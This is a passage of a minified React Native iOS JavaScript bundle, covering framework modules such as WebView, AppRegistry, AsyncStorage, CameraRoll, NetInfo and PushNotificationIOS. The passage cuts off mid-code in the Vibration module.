a.createElement(d,{accessible:this.props.accessible!==!1,accessibilityLabel:this.props.accessibilityLabel,accessibilityComponentType:this.props.accessibilityComponentType,accessibilityTraits:this.props.accessibilityTraits,ref:H,style:this.state.underlayStyle,onLayout:this.props.onLayout,hitSlop:this.props.hitSlop,isTVSelectable:!0,tvParallaxProperties:this.props.tvParallaxProperties,hasTVPreferredFocus:this.state.hasTVPreferredFocus,onStartShouldSetResponder:this.touchableHandleStartShouldSetResponder,onResponderTerminationRequest:this.touchableHandleResponderTerminationRequest,onResponderGrant:this.touchableHandleResponderGrant,onResponderMove:this.touchableHandleResponderMove,onResponderRelease:this.touchableHandleResponderRelease,onResponderTerminate:this.touchableHandleResponderTerminate,nativeID:this.props.nativeID,testID:this.props.testID},a.cloneElement(a.Children.only(this.props.children),{ref:R}),u.renderDebugView({color:\"green\",hitSlop:this.props.hitSlop}))}}),R=m({childRef:null}),H=m({underlayRef:null}),g={style:h.create({x:{opacity:1}}).x},U={style:h.create({x:{backgroundColor:\"transparent\"}}).x};s.exports=_},274);\n__d(function(t,s,c,e){\"use strict\";c.exports=s(143)},275);\n__d(function(e,t,n,a){\"use strict\";var o=t(40),r=t(131),i=t(114),s=t(111),l=t(44),d=t(144),c=t(165),p=t(63),u=t(110),g=t(130),h=t(205),b=t(122),m=t(13),f=t(118),v=t(215),E=t(142),S=t(153),w=t(15).WebViewManager,y=\"rgba(255,255,255,0.8)\",C=\"webview\",L=f({IDLE:null,LOADING:null,ERROR:null}),R=f({click:!0,formsubmit:!0,backforward:!0,reload:!0,formresubmit:!0,other:!0}),T=\"react-js-navigation\",V=[\"phoneNumber\",\"link\",\"address\",\"calendarEvent\",\"none\",\"all\"],I=function(){return i.createElement(u,{style:O.loadingView},i.createElement(o,null))},W=function(e,t,n){return i.createElement(u,{style:O.errorContainer},i.createElement(c,{style:O.errorTextTitle},\"Error loading page\"),i.createElement(c,{style:O.errorText},\"Domain: \"+e),i.createElement(c,{style:O.errorText},\"Error Code: \"+t),i.createElement(c,{style:O.errorText},\"Description: \"+n))},M=function(e){function t(){var e,n,a,o;babelHelpers.classCallCheck(this,t);for(var r=arguments.length,i=Array(r),s=0;s<r;s++)i[s]=arguments[s];return n=a=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),a.state={viewState:L.IDLE,lastErrorEvent:null,startInLoadingState:!0},a.goForward=function(){p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.goForward,null)},a.goBack=function(){p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.goBack,null)},a.reload=function(){a.setState({viewState:L.LOADING}),p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.reload,null)},a.stopLoading=function(){p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.stopLoading,null)},a.postMessage=function(e){p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.postMessage,[String(e)])},a.injectJavaScript=function(e){p.dispatchViewManagerCommand(a.getWebViewHandle(),p.RCTWebView.Commands.injectJavaScript,[e])},a._updateNavigationState=function(e){a.props.onNavigationStateChange&&a.props.onNavigationStateChange(e.nativeEvent)},a.getWebViewHandle=function(){return l.findNodeHandle(a.refs[C])},a._onLoadingStart=function(e){var t=a.props.onLoadStart;t&&t(e),a._updateNavigationState(e)},a._onLoadingError=function(e){e.persist();var t=a.props,n=t.onError,o=t.onLoadEnd;n&&n(e),o&&o(e),console.warn(\"Encountered an error loading page\",e.nativeEvent),a.setState({lastErrorEvent:e.nativeEvent,viewState:L.ERROR})},a._onLoadingFinish=function(e){var t=a.props,n=t.onLoad,o=t.onLoadEnd;n&&n(e),o&&o(e),a.setState({viewState:L.IDLE}),a._updateNavigationState(e)},a._onMessage=function(e){var t=a.props.onMessage;t&&t(e)},o=n,babelHelpers.possibleConstructorReturn(a,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentWillMount\",value:function(){this.props.startInLoadingState&&this.setState({viewState:L.LOADING})}},{key:\"render\",value:function(){var e=this,t=null;if(this.state.viewState===L.LOADING)t=(this.props.renderLoading||I)();else if(this.state.viewState===L.ERROR){var n=this.state.lastErrorEvent;m(null!=n,\"lastErrorEvent expected to be non-null\"),t=(this.props.renderError||W)(n.domain,n.code,n.description)}else this.state.viewState!==L.IDLE&&console.error(\"RCTWebView invalid state encountered: \"+this.state.loading);var a=[O.container,O.webView,this.props.style];this.state.viewState!==L.LOADING&&this.state.viewState!==L.ERROR||a.push(O.hidden);var o=this.props.onShouldStartLoadWithRequest&&function(t){var n=e.props.onShouldStartLoadWithRequest&&e.props.onShouldStartLoadWithRequest(t.nativeEvent);w.startLoadWithResult(!!n,t.nativeEvent.lockIdentifier)},r=v(this.props.decelerationRate),s=this.props.source||{};this.props.html?s.html=this.props.html:this.props.url&&(s.uri=this.props.url);var l=\"function\"==typeof this.props.onMessage,d=i.createElement(k,{ref:C,key:\"webViewKey\",style:a,source:S(s),injectedJavaScript:this.props.injectedJavaScript,bounces:this.props.bounces,scrollEnabled:this.props.scrollEnabled,decelerationRate:r,contentInset:this.props.contentInset,automaticallyAdjustContentInsets:this.props.automaticallyAdjustContentInsets,onLoadingStart:this._onLoadingStart,onLoadingFinish:this._onLoadingFinish,onLoadingError:this._onLoadingError,messagingEnabled:l,onMessage:this._onMessage,onShouldStartLoadWithRequest:o,scalesPageToFit:this.props.scalesPageToFit,allowsInlineMediaPlayback:this.props.allowsInlineMediaPlayback,mediaPlaybackRequiresUserAction:this.props.mediaPlaybackRequiresUserAction,dataDetectorTypes:this.props.dataDetectorTypes});return i.createElement(u,{style:O.container},d,t)}}]),t}(i.Component);M.JSNavigationScheme=T,M.NavigationType=R,M.propTypes=babelHelpers.extends({},g,{html:b(s.string,\"Use the `source` prop instead.\"),url:b(s.string,\"Use the `source` prop instead.\"),source:s.oneOfType([s.shape({uri:s.string,method:s.string,headers:s.object,body:s.string}),s.shape({html:s.string,baseUrl:s.string}),s.number]),renderError:s.func,renderLoading:s.func,onLoad:s.func,onLoadEnd:s.func,onLoadStart:s.func,onError:s.func,bounces:s.bool,decelerationRate:h.propTypes.decelerationRate,scrollEnabled:s.bool,automaticallyAdjustContentInsets:s.bool,contentInset:r,onNavigationStateChange:s.func,onMessage:s.func,startInLoadingState:s.bool,style:g.style,dataDetectorTypes:s.oneOfType([s.oneOf(V),s.arrayOf(s.oneOf(V))]),javaScriptEnabled:s.bool,thirdPartyCookiesEnabled:s.bool,domStorageEnabled:s.bool,injectedJavaScript:s.string,userAgent:s.string,scalesPageToFit:s.bool,onShouldStartLoadWithRequest:s.func,allowsInlineMediaPlayback:s.bool,mediaPlaybackRequiresUserAction:s.bool,injectJavaScript:s.func,mixedContentMode:s.oneOf([\"never\",\"always\",\"compatibility\"])}),M.defaultProps={scalesPageToFit:!0};var k=E(\"RCTWebView\",M,{nativeOnly:{onLoadingStart:!0,onLoadingError:!0,onLoadingFinish:!0,onMessage:!0,messagingEnabled:s.bool}}),O=d.create({container:{flex:1},errorContainer:{flex:1,justifyContent:\"center\",alignItems:\"center\",backgroundColor:y},errorText:{fontSize:14,textAlign:\"center\",marginBottom:2},errorTextTitle:{fontSize:15,fontWeight:\"500\",marginBottom:10},hidden:{height:0,flex:0},loadingView:{backgroundColor:y,flex:1,justifyContent:\"center\",alignItems:\"center\",height:100},webView:{backgroundColor:\"#ffffff\"}});n.exports=M},276);\n__d(function(t,o,e,i){\"use strict\";var n=o(15).ActionSheetManager,s=o(13),a=o(125),l={showActionSheetWithOptions:function(t,o){s(\"object\"==typeof t&&null!==t,\"Options must be a valid object\"),s(\"function\"==typeof o,\"Must provide a valid callback\"),n.showActionSheetWithOptions(babelHelpers.extends({},t,{tintColor:a(t.tintColor)}),o)},showShareActionSheetWithOptions:function(t,o,e){s(\"object\"==typeof t&&null!==t,\"Options must be a valid object\"),s(\"function\"==typeof o,\"Must provide a valid failureCallback\"),s(\"function\"==typeof e,\"Must provide a valid successCallback\"),n.showShareActionSheetWithOptions(babelHelpers.extends({},t,{tintColor:a(t.tintColor)}),o,e)}};e.exports=l},277);\n__d(function(e,n,t,r){\"use strict\";var o=n(16),i=n(279),a=n(15),s=n(44),p=n(281),u=n(106),c=n(13),l=n(282),g={},f=1,d={},m=new Map,h=function(e){return e()},y=void 0,k={setWrapperComponentProvider:function(e){y=e},registerConfig:function(e){e.forEach(function(e){e.run?k.registerRunnable(e.appKey,e.run):(c(null!=e.component,\"AppRegistry.registerConfig(...): Every config is expected to set either `run` or `component`, but `%s` has neither.\",e.appKey),k.registerComponent(e.appKey,e.component,e.section))})},registerComponent:function(e,n,t){return g[e]={componentProvider:n,run:function(e){return l(h(n),e.initialProps,e.rootTag,y&&y(e))}},t&&(d[e]=g[e]),e},registerRunnable:function(e,n){return g[e]={run:n},e},registerSection:function(e,n){k.registerComponent(e,n,!0)},getAppKeys:function(){return Object.keys(g)},getSectionKeys:function(){return Object.keys(d)},getSections:function(){return babelHelpers.extends({},d)},getRunnable:function(e){return g[e]},getRegistry:function(){return{sections:k.getSectionKeys(),runnables:babelHelpers.extends({},g)}},setComponentProviderInstrumentationHook:function(e){h=e},runApplication:function(e,n){var t='Running application \"'+e+'\" with appParams: '+JSON.stringify(n)+\". __DEV__ === \"+String(!1)+\", development-level warning are OFF, performance optimizations are ON\";u(t),i.addSource(\"AppRegistry.runApplication\"+f++,function(){return t}),c(g[e]&&g[e].run,\"Application \"+e+\" has not been registered.\\n\\nHint: This error often happens when you're running the packager (local dev server) from a wrong folder. For example you have multiple apps and the packager is still running for the app you were working on before.\\nIf this is the case, simply kill the old packager instance (e.g. close the packager terminal window) and start the packager in the correct app folder (e.g. cd into app folder and run 'npm start').\\n\\nThis error can also happen due to a require() error during initialization or failure to call AppRegistry.registerComponent.\\n\\n\"),p.setActiveScene({name:e}),g[e].run(n)},unmountApplicationComponentAtRootTag:function(e){s.unmountComponentAtNodeAndRemoveContainer(e)},registerHeadlessTask:function(e,n){m.has(e)&&console.warn(\"registerHeadlessTask called multiple times for same key '\"+e+\"'\"),m.set(e,n)},startHeadlessTask:function(e,n,t){var r=m.get(n);if(!r)throw new Error(\"No task registered for key \"+n);r()(t).then(function(){return a.HeadlessJsTaskSupport.notifyTaskFinished(e)}).catch(function(n){console.error(n),a.HeadlessJsTaskSupport.notifyTaskFinished(e)})}};o.registerCallableModule(\"AppRegistry\",k),t.exports=k},278);\n__d(function(e,r,t,a){\"use strict\";function o(){u.addFileSource(\"react_hierarchy.txt\",function(){return r(280)()})}var n=r(35),l=r(67),i=r(106),u=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"_maybeInit\",value:function(){e._subscription||(e._subscription=n.addListener(\"collectBugExtraData\",e.collectExtraData,null),o())}},{key:\"addSource\",value:function(r,t){return this._addSource(r,t,e._extraSources)}},{key:\"addFileSource\",value:function(r,t){return this._addSource(r,t,e._fileSources)}},{key:\"_addSource\",value:function(r,t,a){return e._maybeInit(),a.has(r)&&console.warn(\"BugReporting.add* called multiple times for same key '\"+r+\"'\"),a.set(r,t),{remove:function(){a.delete(r)}}}},{key:\"collectExtraData\",value:function(){for(var t={},a=e._extraSources,o=Array.isArray(a),n=0,a=o?a:a[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var l;if(o){if(n>=a.length)break;l=a[n++]}else{if(n=a.next(),n.done)break;l=n.value}var u=l,c=babelHelpers.slicedToArray(u,2),s=c[0],f=c[1];t[s]=f()}for(var d={},b=e._fileSources,y=Array.isArray(b),_=0,b=y?b:b[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var v;if(y){if(_>=b.length)break;v=b[_++]}else{if(_=b.next(),_.done)break;v=_.value}var S=v,p=babelHelpers.slicedToArray(S,2),x=p[0],k=p[1];d[x]=k()}i(\"BugReporting extraData:\",t);var m=r(15).BugReporting;return m&&m.setExtraData&&m.setExtraData(t,d),{extras:t,files:d}}}]),e}();u._extraSources=new l,u._fileSources=new l,u._subscription=null,t.exports=u},279);\n__d(function(e,t,r,i){\"use strict\";function n(){try{return u()}catch(e){return\"Failed to dump react tree: \"+e}}function u(){return\"React tree dumps have been temporarily disabled while React is upgraded to Fiber.\"}r.exports=n},280);\n__d(function(e,n,t,c){\"use strict\";var r=[],u={name:\"default\"},i={setActiveScene:function(e){u=e,r.forEach(function(e){return e(u)})},getActiveScene:function(){return u},addActiveSceneChangedListener:function(e){return r.push(e),{remove:function(){r=r.filter(function(n){return e!==n})}}}};t.exports=i},281);\n__d(function(e,t,o,r){\"use strict\";function a(e,t,o,r){s(o,\"Expect to have a valid rootTag, instead got \",o),p.render(c.createElement(n,{rootTag:o,WrapperComponent:r},c.createElement(e,babelHelpers.extends({},t,{rootTag:o}))),o)}var n=t(243),c=t(114),p=t(44),s=t(13);t(283),o.exports=a},282);\n__d(function(e,n,t,r){\"use strict\";function i(){}var o=n(23),v=n(170),s=void 0;if(o.isTVOS){var u=new v,a=new Set;u.enable(this,function(e,n){if(n&&\"menu\"===n.eventType){for(var t=new Set(a),r=!0,i=[].concat(babelHelpers.toConsumableArray(t)).reverse(),o=0;o<i.length;++o)if(i[o]()){r=!1;break}r&&s.exitApp()}}),s={exitApp:i,addEventListener:function(e,n){return a.add(n),{remove:function(){return s.removeEventListener(e,n)}}},removeEventListener:function(e,n){a.delete(n)}}}else s={exitApp:i,addEventListener:function(){return{remove:i}},removeEventListener:i};t.exports=s},283);\n__d(function(e,t,n,a){\"use strict\";var r=(t(79),t(80)),s=t(15),i=s.AppState,l=t(99),o=t(13),p=function(e){function t(){babelHelpers.classCallCheck(this,t);var e=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,i));e.isAvailable=!0,e.isAvailable=!0,e._eventHandlers={change:new Map,memoryWarning:new Map},e.currentState=i.initialAppState||\"active\";var n=!1;return e.addListener(\"appStateDidChange\",function(t){n=!0,e.currentState=t.app_state}),i.getCurrentAppState(function(t){n||(e.currentState=t.app_state)},l),e}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"addEventListener\",value:function(e,t){o([\"change\",\"memoryWarning\"].indexOf(e)!==-1,'Trying to subscribe to unknown event: \"%s\"',e),\"change\"===e?this._eventHandlers[e].set(t,this.addListener(\"appStateDidChange\",function(e){t(e.app_state)})):\"memoryWarning\"===e&&this._eventHandlers[e].set(t,this.addListener(\"memoryWarning\",t))}},{key:\"removeEventListener\",value:function(e,t){o([\"change\",\"memoryWarning\"].indexOf(e)!==-1,'Trying to remove listener for unknown event: \"%s\"',e),this._eventHandlers[e].has(t)&&(this._eventHandlers[e].get(t).remove(),this._eventHandlers[e].delete(t))}}]),t}(r);p=new p,n.exports=p},284);\n__d(function(e,t,n,u){\"use strict\";function r(e){return e?(Array.isArray(e)?e:[e]).map(function(e){return i(e)}):null}function i(e){if(!e)return null;var t=new Error(e.message);return t.key=e.key,t}var l=t(15),o=l.AsyncRocksDBStorage||l.AsyncSQLiteDBStorage||l.AsyncLocalStorage,s={_getRequests:[],_getKeys:[],_immediate:null,getItem:function(e,t){return new Promise(function(n,u){o.multiGet([e],function(e,i){var l=i&&i[0]&&i[0][1]?i[0][1]:null,o=r(e);t&&t(o&&o[0],l),o?u(o[0]):n(l)})})},setItem:function(e,t,n){return new Promise(function(u,i){o.multiSet([[e,t]],function(e){var t=r(e);n&&n(t&&t[0]),t?i(t[0]):u(null)})})},removeItem:function(e,t){return new Promise(function(n,u){o.multiRemove([e],function(e){var i=r(e);t&&t(i&&i[0]),i?u(i[0]):n(null)})})},mergeItem:function(e,t,n){return new Promise(function(u,i){o.multiMerge([[e,t]],function(e){var t=r(e);n&&n(t&&t[0]),t?i(t[0]):u(null)})})},clear:function(e){return new Promise(function(t,n){o.clear(function(u){e&&e(i(u)),u&&i(u)?n(i(u)):t(null)})})},getAllKeys:function(e){return new Promise(function(t,n){o.getAllKeys(function(u,r){e&&e(i(u),r),u?n(i(u)):t(r)})})},flushGetRequests:function(){var e=this._getRequests,t=this._getKeys;this._getRequests=[],this._getKeys=[],o.multiGet(t,function(t,n){var u={};n&&n.forEach(function(e){var t=babelHelpers.slicedToArray(e,2),n=t[0],r=t[1];return u[n]=r,r});for(var r=e.length,i=0;i<r;i++){var l=e[i],o=l.keys,s=o.map(function(e){return[e,u[e]]});l.callback&&l.callback(null,s),l.resolve&&l.resolve(s)}})},multiGet:function(e,t){var n=this;this._immediate||(this._immediate=setImmediate(function(){n._immediate=null,n.flushGetRequests()}));var u={keys:e,callback:t,keyIndex:this._getKeys.length,resolve:null,reject:null},r=new Promise(function(e,t){u.resolve=e,u.reject=t});return this._getRequests.push(u),e.forEach(function(e){n._getKeys.indexOf(e)===-1&&n._getKeys.push(e)}),r},multiSet:function(e,t){return new Promise(function(n,u){o.multiSet(e,function(e){var i=r(e);t&&t(i),i?u(i):n(null)})})},multiRemove:function(e,t){return new Promise(function(n,u){o.multiRemove(e,function(e){var i=r(e);t&&t(i),i?u(i):n(null)})})},multiMerge:function(e,t){return new Promise(function(n,u){o.multiMerge(e,function(e){var i=r(e);t&&t(i),i?u(i):n(null)})})}};o.multiMerge||(delete s.mergeItem,delete s.multiMerge),n.exports=s},285);\n__d(function(e,n,t,d){\"use strict\";var a=n(283),i=n(27),r={exitApp:function(){i(!1,\"BackAndroid is deprecated.  Please use BackHandler instead.\"),a.exitApp()},addEventListener:function(e,n){return i(!1,\"BackAndroid is deprecated.  Please use BackHandler instead.\"),a.addEventListener(e,n)},removeEventListener:function(e,n){i(!1,\"BackAndroid is deprecated.  Please use BackHandler instead.\"),a.removeEventListener(e,n)}};t.exports=r},286);\n__d(function(e,r,s,o){\"use strict\";var t=r(111),a=(t.checkPropTypes,r(15).CameraRollManager),i=r(132),n=r(13),l={Album:\"Album\",All:\"All\",Event:\"Event\",Faces:\"Faces\",Library:\"Library\",PhotoStream:\"PhotoStream\",SavedPhotos:\"SavedPhotos\"},u={All:\"All\",Videos:\"Videos\",Photos:\"Photos\"},d=(i({first:t.number.isRequired,after:t.string,groupTypes:t.oneOf(Object.keys(l)),groupName:t.string,assetType:t.oneOf(Object.keys(u)),mimeTypes:t.arrayOf(t.string)}),i({edges:t.arrayOf(i({node:i({type:t.string.isRequired,group_name:t.string.isRequired,image:i({uri:t.string.isRequired,height:t.number.isRequired,width:t.number.isRequired,isStored:t.bool,playableDuration:t.number.isRequired}).isRequired,timestamp:t.number.isRequired,location:i({latitude:t.number,longitude:t.number,altitude:t.number,heading:t.number,speed:t.number})}).isRequired})).isRequired,page_info:i({has_next_page:t.bool.isRequired,start_cursor:t.string,end_cursor:t.string}).isRequired}),function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"saveImageWithTag\",value:function(e){return console.warn(\"`CameraRoll.saveImageWithTag()` is deprecated. Use `CameraRoll.saveToCameraRoll()` instead.\"),this.saveToCameraRoll(e,\"photo\")}},{key:\"saveToCameraRoll\",value:function(e,r){n(\"string\"==typeof e,\"CameraRoll.saveToCameraRoll must be a valid string.\"),n(\"photo\"===r||\"video\"===r||void 0===r,\"The second argument to saveToCameraRoll must be 'photo' or 'video'. You passed \"+r);var s=\"photo\";return r?s=r:[\"mov\",\"mp4\"].indexOf(e.split(\".\").slice(-1)[0])>=0&&(s=\"video\"),a.saveToCameraRoll(e,s)}},{key:\"getPhotos\",value:function(e){if(arguments.length>1){console.warn(\"CameraRoll.getPhotos(tag, success, error) is deprecated.  Use the returned Promise instead\");var r=arguments[1],s=arguments[2]||function(){};a.getPhotos(e).then(r,s)}return a.getPhotos(e)}}]),e}());d.GroupTypesOptions=l,d.AssetTypeOptions=u,s.exports=d},287);\n__d(function(t,n,r,i){\"use strict\";var e=n(15).Clipboard;r.exports={getString:function(){return e.getString()},setString:function(t){e.setString(t)}}},288);\n__d(function(e,r,t,n){\"use strict\";var s={open:function(e){return regeneratorRuntime.async(function(e){for(;;)switch(e.prev=e.next){case 0:return e.abrupt(\"return\",Promise.reject({message:\"DatePickerAndroid is not supported on this platform.\"}));case 1:case\"end\":return e.stop()}},null,this)}};t.exports=s},289);\n__d(function(e,n,o,a){\"use strict\";var r=n(15).ImagePickerIOS,t={canRecordVideos:function(e){return r.canRecordVideos(e)},canUseCamera:function(e){return r.canUseCamera(e)},openCameraDialog:function(e,n,o){return e=babelHelpers.extends({videoMode:!1},e),r.openCameraDialog(e,n,o)},openSelectDialog:function(e,n,o){return e=babelHelpers.extends({showImages:!0,showVideos:!1},e),r.openSelectDialog(e,n,o)}};o.exports=t},290);\n__d(function(e,t,n,i){\"use strict\";var a=t(80),r=t(15),s=(t(23),t(13)),l=r.LinkingManager,o=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,l))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"addEventListener\",value:function(e,t){this.addListener(e,t)}},{key:\"removeEventListener\",value:function(e,t){this.removeListener(e,t)}},{key:\"openURL\",value:function(e){return this._validateURL(e),l.openURL(e)}},{key:\"canOpenURL\",value:function(e){return this._validateURL(e),l.canOpenURL(e)}},{key:\"getInitialURL\",value:function(){return l.getInitialURL()}},{key:\"_validateURL\",value:function(e){s(\"string\"==typeof e,\"Invalid URL: should be a string. Was: \"+e),s(e,\"Invalid URL: cannot be empty\")}}]),t}(a);n.exports=new o},291);\n__d(function(e,n,t,o){\"use strict\";function r(e){return\"none\"!==e.type&&\"unknown\"!==e.type}var i=n(67),c=n(80),u=n(15),f=(n(23),u.NetInfo),s=new c(f),v=\"networkStatusDidChange\",a=new i,d=void 0;d=function(e){return\"none\"!==e&&\"unknown\"!==e};var C=new i,p={addEventListener:function(e,n){var t=void 0;if(\"connectionChange\"===e)t=s.addListener(v,function(e){n({type:e.connectionType,effectiveType:e.effectiveConnectionType})});else{if(\"change\"!==e)return console.warn('Trying to subscribe to unknown event: \"'+e+'\"'),{remove:function(){}};console.warn('NetInfo\\'s \"change\" event is deprecated. Listen to the \"connectionChange\" event instead.'),t=s.addListener(v,function(e){n(e.network_info)})}return a.set(n,t),{remove:function(){return p.removeEventListener(e,n)}}},removeEventListener:function(e,n){var t=a.get(n);t&&(t.remove(),a.delete(n))},fetch:function(){return console.warn(\"NetInfo.fetch() is deprecated. Use NetInfo.getConnectionInfo() instead.\"),f.getCurrentConnectivity().then(function(e){return e.network_info})},getConnectionInfo:function(){return f.getCurrentConnectivity().then(function(e){return{type:e.connectionType,effectiveType:e.effectiveConnectionType}})},isConnected:{addEventListener:function(e,n){var t=function(t){\"change\"===e?n(d(t)):\"connectionChange\"===e&&n(r(t))};return C.set(n,t),p.addEventListener(e,t),{remove:function(){return p.isConnected.removeEventListener(e,n)}}},removeEventListener:function(e,n){var t=C.get(n);p.removeEventListener(e,t),C.delete(n)},fetch:function(){return p.getConnectionInfo().then(r)}},isConnectionExpensive:function(){return Promise.reject(new Error(\"Currently not supported on iOS\"))}};t.exports=p},292);\n__d(function(e,t,i,o){\"use strict\";var n=t(80),a=t(15).PushNotificationManager,c=t(13),r=new n(a),l=new Map,s=\"remoteNotificationReceived\",u=\"remoteNotificationsRegistered\",f=\"remoteNotificationRegistrationError\",d=\"localNotificationReceived\",v=function(){function e(t){var i=this;babelHelpers.classCallCheck(this,e),this._data={},this._remoteNotificationCompleteCallbackCalled=!1,this._isRemote=t.remote,this._isRemote&&(this._notificationId=t.notificationId),t.remote?Object.keys(t).forEach(function(e){var o=t[e];\"aps\"===e?(i._alert=o.alert,i._sound=o.sound,i._badgeCount=o.badge,i._category=o.category,i._contentAvailable=o[\"content-available\"]):i._data[e]=o}):(this._badgeCount=t.applicationIconBadgeNumber,this._sound=t.soundName,this._alert=t.alertBody,this._data=t.userInfo,this._category=t.category)}return babelHelpers.createClass(e,null,[{key:\"presentLocalNotification\",value:function(e){a.presentLocalNotification(e)}},{key:\"scheduleLocalNotification\",value:function(e){a.scheduleLocalNotification(e)}},{key:\"cancelAllLocalNotifications\",value:function(){a.cancelAllLocalNotifications()}},{key:\"removeAllDeliveredNotifications\",value:function(){a.removeAllDeliveredNotifications()}},{key:\"getDeliveredNotifications\",value:function(e){a.getDeliveredNotifications(e)}},{key:\"removeDeliveredNotifications\",value:function(e){a.removeDeliveredNotifications(e)}},{key:\"setApplicationIconBadgeNumber\",value:function(e){a.setApplicationIconBadgeNumber(e)}},{key:\"getApplicationIconBadgeNumber\",value:function(e){a.getApplicationIconBadgeNumber(e)}},{key:\"cancelLocalNotifications\",value:function(e){a.cancelLocalNotifications(e)}},{key:\"getScheduledLocalNotifications\",value:function(e){a.getScheduledLocalNotifications(e)}},{key:\"addEventListener\",value:function(t,i){c(\"notification\"===t||\"register\"===t||\"registrationError\"===t||\"localNotification\"===t,\"PushNotificationIOS only supports `notification`, `register`, `registrationError`, and `localNotification` events\");var o;\"notification\"===t?o=r.addListener(s,function(t){i(new e(t))}):\"localNotification\"===t?o=r.addListener(d,function(t){i(new e(t))}):\"register\"===t?o=r.addListener(u,function(e){i(e.deviceToken)}):\"registrationError\"===t&&(o=r.addListener(f,function(e){i(e)})),l.set(t,o)}},{key:\"removeEventListener\",value:function(e,t){c(\"notification\"===e||\"register\"===e||\"registrationError\"===e||\"localNotification\"===e,\"PushNotificationIOS only supports `notification`, `register`, `registrationError`, and `localNotification` events\");var i=l.get(e);i&&(i.remove(),l.delete(e))}},{key:\"requestPermissions\",value:function(e){var t={};return t=e?{alert:!!e.alert,badge:!!e.badge,sound:!!e.sound}:{alert:!0,badge:!0,sound:!0},a.requestPermissions(t)}},{key:\"abandonPermissions\",value:function(){a.abandonPermissions()}},{key:\"checkPermissions\",value:function(e){c(\"function\"==typeof e,\"Must provide a valid callback\"),a.checkPermissions(e)}},{key:\"getInitialNotification\",value:function(){return a.getInitialNotification().then(function(t){return t&&new e(t)})}}]),babelHelpers.createClass(e,[{key:\"finish\",value:function(e){this._isRemote&&this._notificationId&&!this._remoteNotificationCompleteCallbackCalled&&(this._remoteNotificationCompleteCallbackCalled=!0,a.onFinishRemoteNotification(this._notificationId,e))}},{key:\"getMessage\",value:function(){return this._alert}},{key:\"getSound\",value:function(){return this._sound}},{key:\"getCategory\",value:function(){return this._category}},{key:\"getAlert\",value:function(){return this._alert}},{key:\"getContentAvailable\",value:function(){return this._contentAvailable}},{key:\"getBadgeCount\",value:function(){return this._badgeCount}},{key:\"getData\",value:function(){return this._data}}]),e}();v.FetchResult={NewData:\"UIBackgroundFetchResultNewData\",NoData:\"UIBackgroundFetchResultNoData\",ResultFailed:\"UIBackgroundFetchResultFailed\"},i.exports=v},293);\n__d(function(t,s,e,n){\"use strict\";var i=s(35),a=s(15).SettingsManager,r=s(13),c=[],l={_settings:a&&a.settings,get:function(t){return this._settings[t]},set:function(t){this._settings=babelHelpers.extends(this._settings,t),a.setValues(t)},watchKeys:function(t,s){\"string\"==typeof t&&(t=[t]),r(Array.isArray(t),\"keys should be a string or array of strings\");var e=c.length;return c.push({keys:t,callback:s}),e},clearWatch:function(t){t<c.length&&(c[t]={keys:[],callback:null})},_sendObservations:function(t){var s=this;Object.keys(t).forEach(function(e){var n=t[e],i=s._settings[e]!==n;s._settings[e]=n,i&&c.forEach(function(t){t.keys.indexOf(e)!==-1&&t.callback&&t.callback()})})}};i.addListener(\"settingsUpdated\",l._sendObservations.bind(l)),e.exports=l},294);\n__d(function(e,t,n,i){\"use strict\";var o=(t(23),t(13)),s=t(125),r=t(15),a=r.ActionSheetManager,c=(r.ShareModule,function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"share\",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return o(\"object\"==typeof e&&null!==e,\"Content to share must be a valid object\"),o(\"string\"==typeof e.url||\"string\"==typeof e.message,\"At least one of URL and message is required\"),o(\"object\"==typeof t&&null!==t,\"Options must be a valid object\"),new Promise(function(n,i){a.showShareActionSheetWithOptions(babelHelpers.extends({},e,t,{tintColor:s(t.tintColor)}),function(e){return i(e)},function(e,t){n(e?{action:\"sharedAction\",activityType:t}:{action:\"dismissedAction\"})})})}},{key:\"sharedAction\",get:function(){return\"sharedAction\"}},{key:\"dismissedAction\",get:function(){return\"dismissedAction\"}}]),e}());n.exports=c},295);\n__d(function(e,t,r,s){\"use strict\";var n=t(80),a=t(15),l=a.StatusBarManager,o=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),t}(n);r.exports=new o(l)},296);\n__d(function(e,r,t,n){\"use strict\";var s={open:function(e){return regeneratorRuntime.async(function(e){for(;;)switch(e.prev=e.next){case 0:return e.abrupt(\"return\",Promise.reject({message:\"TimePickerAndroid is not supported on this platform.\"}));case 1:case\"end\":return e.stop()}},null,this)}};t.exports=s},297);\n__d(function(i,r,t,n){\"use strict\";function e(i){var r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!a)return a=!0,0===i[0]&&(u.vibrate(),i=i.slice(1)),0===i.length?void(a=!1):void setTimeout(function(){return o(++f,i,r,1)},i[0])}function o(i,r,t,n){if(a&&i===f){if(u.vibrate(),n>=r.length){if(!t)return void(a=!1);n=0}setTimeout(function(){return o(i,r,t,n+1)},r[n])}}var u=r(15).Vibration,a=(r(23),!1),f=0,v={vibrate:function(){var i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:400,r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!a)if(\"number\"==typeof 